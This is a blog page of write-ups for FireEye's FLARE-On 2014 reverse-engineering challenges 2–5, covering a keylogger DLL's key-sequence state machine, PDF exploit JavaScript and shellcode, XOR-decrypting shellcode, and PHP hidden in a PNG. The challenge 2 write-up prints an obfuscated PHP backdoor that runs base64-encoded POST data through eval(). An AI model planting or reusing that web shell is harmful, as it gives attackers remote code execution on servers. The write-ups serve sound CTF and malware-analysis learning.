Showing posts with label _flare-2014. Show all posts
Showing posts with label _flare-2014. Show all posts

Thursday, January 8, 2015

FLARE - Challenge 5


About:


This is the 5th challenge from FireEye's "FLARE On" challenge (http://flare-on.com/)


Solution:

In this challenge, the zip file contains a Windows library file.

To start, I used Hopper to look through the imported functions, thinking that I could find something interesting and work backwards from there.




The first ones I looked through messed with the registry and looked at / touched the files "c:\windows\system32\rundll32.exe" and "c:\windows\system32\svchost.dll".

I didn't find anything too interesting in those sections, so eventually I moved on to the GetAsyncKeyState function and decided to look around where it was used.

Here's the code where GetAsyncKeyState is called: (look within the 0x10009edd block)


You can see that after it returns, the control flow goes through a bunch of if/else conditionals (switch statement?) that keeps going on and on....



...and on and on...

But even though this is messy, the nice thing is that it's pretty now clear what is going on -- it's a keylogger that will call certain functions depending on which key is pressed.

While looking through what gets called within the if statements, the vast majority call sub_10001060, which seems to clear a bunch of global variables (except one, which it sets to 0x1).



Interestingly, though, some of the subroutines that get called in a few of the cases DON'T immediately call the reset/clear subroutine (sub_10001060).

For example, below, sub_10009d80 will skip over the call to sub_10001060 in certain cases, depending on the state of the global variables that sub_10001060 clears:




I took the decompiled version of all the subroutines that don't immediately call the resetting function and put them together here:


int sub_10009440() {
    if (*0x10019460 > 0x0) {
            *0x10019460 = 0x0;
            *0x10019464 = 0x1;
    }
    else {
            if (*0x100194a4 > 0x0) {
                    *0x100194a4 = 0x0;
                    *0x100194a8 = 0x1;
            }
            else {
                    sub_10001060();
            }
    }
    return 0x100141e0;
}

int sub_100094d0() {
    if (*0x10019498 > 0x0) {
            *0x10019498 = 0x0;
            *0x1001949c = 0x1;
    }
    else {
            if (*0x100194b0 > 0x0) {
                    *0x100194b0 = 0x0;
                    *0x100194b4 = 0x1;
            }
            else {
                    sub_10001060();
            }
    }
    return 0x100141f4;
}

int sub_100097d0() {
    if (*0x100194b4 > 0x0) {
            *0x100194b4 = 0x0;
            *0x100194b8 = 0x1;
    }
    else {
            if (*0x100194c4 > 0x0) {
                    *0x100194c4 = 0x0;
                    *0x100194c8 = 0x1;
            }
            else {
                    if (*0x100194d4 > 0x0) {
                            *0x100194d4 = 0x0;
                            *0x100194d8 = 0x1;
                    }
                    else {
                            sub_10001060();
                    }
            }
    }
    return 0x100142a4;
}

int sub_10009850() {
    if (*0x100194f4 > 0x0) {
            *0x100194f4 = 0x0;
            *0x100194f8 = 0x1;
    }
    else {
            sub_10001060();
    }
    return 0x100142ac;
}

int sub_10009880() {
    if (*0x10019478 > 0x0) {
            *0x10019478 = 0x0;
            *0x1001947c = 0x1;
    }
    else {
            if (*0x1001948c > 0x0) {
                    *0x1001948c = 0x0;
                    *0x10019490 = 0x1;
            }
            else {
                    if (*0x100194d0 > 0x0) {
                            *0x100194d0 = 0x0;
                            *0x100194d4 = 0x1;
                    }
                    else {
                            if (*0x100194e8 > 0x0) {
                                    *0x100194e8 = 0x0;
                                    *0x100194ec = 0x1;
                            }
                            else {
                                    sub_10001060();
                            }
                    }
            }
    }
    return 0x100142b0;
}

int sub_10009910() {
    if (*0x100194ac > 0x0) {
            *0x100194ac = 0x0;
            *0x100194b0 = 0x1;
    }
    else {
            if (*0x100194cc > 0x0) {
                    *0x100194cc = 0x0;
                    *0x100194d0 = 0x1;
            }
            else {
                    sub_10001060();
            }
    }
    return 0x100142b4;
}

int sub_10009960() {
    if (*0x100194bc > 0x0) {
            *0x100194bc = 0x0;
            *0x100194c0 = 0x1;
    }
    else {
            sub_10001060();
    }
    return 0x100142b8;
}

int sub_10009990() {
    if (*0x10019464 > 0x0) {
            *0x10019464 = 0x0;
            *0x10019468 = 0x1;
    }
    else {
            if (*0x10019468 > 0x0) {
                    *0x10019468 = 0x0;
                    *0x1001946c = 0x1;
            }
            else {
                    if (*0x10019474 > 0x0) {
                            *0x10019474 = 0x0;
                            *0x10019478 = 0x1;
                    }
                    else {
                            sub_10001060();
                    }
            }
    }
    return 0x100142bc;
}

int sub_10009a00() {
    if (*0x100194dc > 0x0) {
            *0x100194dc = 0x0;
            *0x100194e0 = 0x1;
    }
    else {
            sub_10001060();
    }
    return 0x100142c0;
}

int sub_10009a30() {
    if (*0x1001946c > 0x0) {
            *0x1001946c = 0x0;
            *0x10019470 = 0x1;
    }
    else {
            sub_10001060();
    }
    return 0x100142c4;
}

int sub_10009a70() {
    if (*0x100194a8 > 0x0) {
            *0x100194a8 = 0x0;
            *0x100194ac = 0x1;
    }
    else {
            sub_10001060();
    }
    return 0x100142cc;
}

int sub_10009aa0() {
    if (*0x10017000 > 0x0) {
            *0x10017000 = 0x0;
            *0x10019460 = 0x1;
    }
    else {
            if (*0x100194c0 > 0x0) {
                    *0x100194c0 = 0x0;
                    *0x100194c4 = 0x1;
            }
            else {
                    sub_10001060();
            }
    }
    return 0x100142d0;
}

int sub_10009b10() {
    if (*0x10019470 > 0x0) {
            *0x10019470 = 0x0;
            *0x10019474 = 0x1;
    }
    else {
            if (*0x100194e4 > 0x0) {
                    *0x100194e4 = 0x0;
                    *0x100194e8 = 0x1;
            }
            else {
                    sub_10001060();
            }
    }
    return 0x100142d8;
}

int sub_10009b60() {
    if (*0x1001947c > 0x0) {
            *0x1001947c = 0x0;
            *0x10019480 = 0x1;
    }
    else {
            if (*0x10019490 > 0x0) {
                    *0x10019490 = 0x0;
                    *0x10019494 = 0x1;
            }
            else {
                    if (*0x100194e0 > 0x0) {
                            *0x100194e0 = 0x0;
                            *0x100194e4 = 0x1;
                    }
                    else {
                            if (*0x100194ec > 0x0) {
                                    *0x100194ec = 0x0;
                                    *0x100194f0 = 0x1;
                            }
                            else {
                                    if (*0x100194f8 > 0x0) {
                                            *0x100194f8 = 0x0;
                                            *0x100194fc = 0x1;
                                    }
                                    else {
                                            sub_10001060();
                                    }
                            }
                    }
            }
    }
    return 0x100142dc;
}

int sub_10009c30() {
    if (*0x10019488 > 0x0) {
            *0x10019488 = 0x0;
            *0x1001948c = 0x1;
    }
    else {
            if (*0x100194a0 > 0x0) {
                    *0x100194a0 = 0x0;
                    *0x100194a4 = 0x1;
            }
            else {
                    if (*0x100194c8 > 0x0) {
                            *0x100194c8 = 0x0;
                            *0x100194cc = 0x1;
                    }
                    else {
                            sub_10001060();
                    }
            }
    }
    return 0x100142e8;
}

int sub_10009ca0() {
    if (*0x100194d8 > 0x0) {
            *0x100194d8 = 0x0;
            *0x100194dc = 0x1;
    }
    else {
            sub_10001060();
    }
    return 0x100142ec;
}

int sub_10009cd0() {
    if (*0x10019480 > 0x0) {
            *0x10019480 = 0x0;
            *0x10019484 = 0x1;
    }
    else {
            if (*0x10019494 > 0x0) {
                    *0x10019494 = 0x0;
                    *0x10019498 = 0x1;
            }
            else {
                    if (*0x1001949c > 0x0) {
                            *0x1001949c = 0x0;
                            *0x100194a0 = 0x1;
                    }
                    else {
                            if (*0x100194b8 > 0x0) {
                                    *0x100194b8 = 0x0;
                                    *0x100194bc = 0x1;
                            }
                            else {
                                    if (*0x100194f0 > 0x0) {
                                            *0x100194f0 = 0x0;
                                            *0x100194f4 = 0x1;
                                    }
                                    else {
                                            sub_10001060();
                                    }
                            }
                    }
            }
    }
    return 0x100142f0;
}

int sub_10009d80() {
    if (*0x10019484 > 0x0) {
            *0x10019484 = 0x0;
            *0x10019488 = 0x1;
    }
    else {
            sub_10001060();
    }
    return 0x100142f4;
}



You can see that together, they form a chain where the reset call to sub_10001060 can be avoided by calling these subroutines in a specific order.

Putting it all together (knowing that these functions will each get called when a specific key is pressed), I decided to trace back what sequence of keys would walk through the sequence that would avoid the sub_10001060 call.

I started filling out a table, starting with the address that's initialized to start at 1 (0x10017000) and looking for which subroutine expects that memory to be set to 1 (in this case, it was sub_10009aa0)


"1" address           subroutine 

0x10017000          sub_10009aa0() 

After finding the subroutine, I looked for what character was used as a return value -- in this case it was "l".

"1" address           subroutine       (ascii)

0x10017000          sub_10009aa0()        l





So this means the first character the keylogger's looking for is "l"!

After looking to see which memory address was set to 1 in sub_10009aa0 (it sets 0x10019460 to 1), I kept going through this process until I had walked through and made a table like this:

"1" address           subroutine                (ascii)

0x10017000          sub_10009aa0()                 l
0x10019460          sub_10009440()                 0
0x10019464          sub_10009990()                 g   
0x10019468          sub_10009990()                 g
0x1001946c          sub_10009a30()                 i
0x10019470          sub_10009b10()                 n
0x10019474          sub_10009990()                 g
0x10019478          sub_10009880()                 .
0x1001947c          sub_10009b60()                 U
0x10019480          sub_10009cd0()                 r
0x10019484          sub_10009d80()                 .

...etc...

Eventually, these characters spell out an email address--

l0gging.Ur.5tr0ke5@flare-on.com

We're done!


Tuesday, January 6, 2015

FLARE - Challenge 4


About:


This is the 4th challenge from FireEye's "FLARE On" challenge (http://flare-on.com/)


Solution:

In this challenge, the zip file contains a PDF.

After looking around it with Didier Steven's pdf-parser.py (http://blog.didierstevens.com/programs/pdf-tools/), I noticed the 6th object contained JavaScript code that would be used and executed when the PDF was opened. 

I used pdf-parser.py to extract the JavaScript like this:



This led to the following obfuscated JavaScript file:



Doing some basic "find & replace all" in Notepad++ leads to a slightly nicer-looking file:


Hmm, but what does it do?

I took it over to repl.it to run the javascript and take a look at what the unescaped string looks like when printed out:



Hmm... I plugged the following (Japanese?) text into Google Translate, but the translation was only partially successful and missed more words than it got.

After looking through the rest of the PDF file and finding nothing, I realized this must be the exploit code and there might be shellcode somewhere here too.

I took the initial string that gets fed into the unescape() call and put it into the sandsprite.com's Shellcode 2 EXE tool:


This led to an executable!



Running this in Ollydbg led to what was clearly a malicious payload filled with a few XOR loops.

After using breakpoints to skip through the XOR functionality, you can see strings being pushed onto the stack (similar to previous levels).




The strings copied?

"OWNED!!!" and "wa1ch.d3m.spl0its@flare-on.com"



Tuesday, December 23, 2014

FLARE - Challenge 3



About:

This is the 3rd challenge from FireEye's "FLARE On" challenge (http://flare-on.com/)


Solution:

In this challenge, the only file you're provided with is a Windows executable file.

I first opened it up in IDA and saw that it seems to prepare the stack with some shellcode, and then start executing it:



I switched to Ollydbg and started stepping through that part of the code, and stopped after the shellcode was called:



It looks like it starts out with an XOR-decryption loop, where the shellcode decrypts and prepares the next bit of shellcode before continuing on and executing it.

By setting a breakpoint to the start of the code that's undergoing decryption, I fast-forwarded to the part where it starts to get executed:


You can see "and so it begins" copied onto the stack.

This process repeats a few times with new code being decrypted and new messages being placed on the stack:


Here, the message is "get ready to get nop'ed so damn hard in the paint".

There are a couple more decryption loops, and eventually we get to one that looks like this:


There's the email address we're looking for!

It looks like such.5h311010101@flare-on.com





Sunday, December 21, 2014

FLARE - Challenge 2


About:

This is the 2nd challenge from FireEye's "FLARE On" challenge (http://flare-on.com/)


Solution:

This time, the zipped file contains what looks like a webpage displaying information about the FLARE On challenge:



Looking through the HTML of the page, nothing looks too out of the ordinary.

Looking at the PNG file, the beginning looks mostly like what you'd expect too:



But if you scroll down towards later in the file, you can see there's some PHP code in there too:


Extracting the PHP code and giving it some friendlier formatting, gives something like this:



Looking back through the HTML file, you can see that there's a PHP include() call that could make a server execute this PHP code while (slightly) disguising it by making it look like it's including an image file.

I replaced the eval() call with an echo, and running it prints out this:

$ php flare-02-php-code.php
$_= \'aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9\';$__=\'JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7\';$___="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";eval($___($__));

So it looks like some more obfuscated PHP code...

After taking this PHP code, moving it to a new file, replacing the eval() call with an echo that prints the 3 $_ strings, and running it, I got this:

$ php flare-02-php-code2.php
aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9

JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7

base64_decode
So it looks like it will do this:
eval(base64_decode(JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7)

This ends up referencing the $_ variable, which ends up decoding to this:

if(isset($_POST["\97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F\x54\x6A\97\x76\x61\x35\x63\x72\97\x70\x41\84\x66\x6C\97\x72\x65\x44\65\x53\72\111\110\68\79\84\99\x6F\x6D"])) { eval(base64_decode($_POST["\97\49\x31\68\x4F\x54\116\104\x61\116\x44\79\x54\106\97\118\97\53\x63\114\x61\x70\65\84\102\x6C\x61\114\101\x44\65\x53\72\111\x6E\x44\x4F\84\99\x6F\x6D"])); }

I wrote a quick python script to deobfuscate this string a bit more:

#!/usr/bin/env python3
#

string = [97, 49, 49, 68, 0x4F, 84, 116, 0x68, 97, 0x74, 0x44, 0x4F, 0x54, 0x6A, 97, 0x76, 0x61, 0x35, 0x63, 0x72, 97, 0x70, 0x41, 84, 0x66, 0x6C, 97, 0x72, 0x65, 0x44, 65, 0x53, 72, 111, 110, 68, 79, 84, 99, 0x6F, 0x6D]

print("".join(map(chr, string)))

Running it gives this:

$ python flare-02-decode.py
a11DOTthatDOTjava5crapATflareDASHonDOTcom


That looks like the email address we are looking for!